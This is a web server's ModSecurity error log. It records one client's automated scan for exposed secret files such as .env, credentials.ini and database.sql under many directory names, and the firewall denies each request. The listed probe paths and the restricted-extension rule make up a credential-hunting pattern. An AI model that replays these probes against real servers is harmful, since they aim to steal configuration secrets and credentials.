[Tue Oct 27 04:18:09.942226 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auBeQTACgwKulg8gg2NrqQAAAAg"]
[Tue Oct 27 04:18:09.942446 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auBeQTACgwKulg8gg2NrqQAAAAg"]
[Tue Oct 27 04:18:09.948642 2026] [proxy_fcgi:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 04:18:09.957986 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auBeQSAYxa8o1W2Vba2wpwAAAAA"]
[Tue Oct 27 04:18:09.958175 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auBeQSAYxa8o1W2Vba2wpwAAAAA"]
[Tue Oct 27 04:18:09.958399 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auBeQSAYxa8o1W2Vba2wpwAAAAA"]
[Tue Oct 27 04:18:10.010609 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "recursos1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auBeQjs6QI_2LyqMu-svUwAAABA"]
[Tue Oct 27 04:18:10.010923 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auBeQjs6QI_2LyqMu-svUwAAABA"]
[Tue Oct 27 04:18:10.011241 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auBeQjs6QI_2LyqMu-svUwAAABA"]
[Tue Oct 27 04:18:10.011376 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auBeQjs6QI_2LyqMu-svUwAAABA"]
[Tue Oct 27 04:18:10.011396 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos1.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auBeQjs6QI_2LyqMu-svUwAAABA"]
[Tue Oct 27 04:18:10.013950 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "recursos1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBeQhsMrQZ-lBI87Ul19gAAAAU"]
[Tue Oct 27 04:18:10.014171 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBeQhsMrQZ-lBI87Ul19gAAAAU"]
[Tue Oct 27 04:18:10.014400 2026] [security2:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auBeQhsMrQZ-lBI87Ul19gAAAAU"]
[Tue Oct 27 04:18:10.020789 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auBeQnCsn1NVv0VfikkGcQAAAAQ"]
[Tue Oct 27 04:18:10.020938 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auBeQnCsn1NVv0VfikkGcQAAAAQ"]
[Tue Oct 27 04:18:10.021196 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auBeQnCsn1NVv0VfikkGcQAAAAQ"]
[Tue Oct 27 04:18:10.022067 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auBeQkQFomyjz0g-y4eN8wAAAAo"]
[Tue Oct 27 04:18:10.022229 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auBeQkQFomyjz0g-y4eN8wAAAAo"]
[Tue Oct 27 04:18:10.022498 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auBeQkQFomyjz0g-y4eN8wAAAAo"]
[Tue Oct 27 04:18:10.086797 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auBeQjs6QI_2LyqMu-svVAAAABA"]
[Tue Oct 27 04:18:10.086936 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auBeQjs6QI_2LyqMu-svVAAAABA"]
[Tue Oct 27 04:18:10.087202 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auBeQjs6QI_2LyqMu-svVAAAABA"]
[Tue Oct 27 04:18:10.090646 2026] [proxy_fcgi:error] [pid 3194254:tid 3194254] [client 34.156.22.151:39028] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 04:18:10.096664 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auBeQnCsn1NVv0VfikkGcgAAAAQ"]
[Tue Oct 27 04:18:10.096807 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auBeQnCsn1NVv0VfikkGcgAAAAQ"]
[Tue Oct 27 04:18:10.097115 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auBeQnCsn1NVv0VfikkGcgAAAAQ"]
[Tue Oct 27 04:18:10.098077 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auBeQkQFomyjz0g-y4eN9AAAAAo"]
[Tue Oct 27 04:18:10.098233 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auBeQkQFomyjz0g-y4eN9AAAAAo"]
[Tue Oct 27 04:18:10.098460 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auBeQkQFomyjz0g-y4eN9AAAAAo"]
[Tue Oct 27 04:18:10.100072 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auBeQjACgwKulg8gg2NrqwAAAAg"]
[Tue Oct 27 04:18:10.100215 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auBeQjACgwKulg8gg2NrqwAAAAg"]
[Tue Oct 27 04:18:10.100479 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auBeQjACgwKulg8gg2NrqwAAAAg"]
[Tue Oct 27 04:18:10.101453 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auBeQtOTO42xOmZCRV02qgAAAAE"]
[Tue Oct 27 04:18:10.101592 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auBeQtOTO42xOmZCRV02qgAAAAE"]
[Tue Oct 27 04:18:10.101809 2026] [security2:error] [pid 3184471:tid 3184471] [client 34.156.22.151:39072] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auBeQtOTO42xOmZCRV02qgAAAAE"]
[Tue Oct 27 04:18:10.112346 2026] [proxy_fcgi:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 04:18:10.160057 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auBeQioaxgN9H0AE4f1vKwAAAAM"]
[Tue Oct 27 04:18:10.160303 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auBeQioaxgN9H0AE4f1vKwAAAAM"]
[Tue Oct 27 04:18:10.160626 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auBeQioaxgN9H0AE4f1vKwAAAAM"]
[Tue Oct 27 04:18:10.162880 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auBeQjs6QI_2LyqMu-svVQAAABA"]
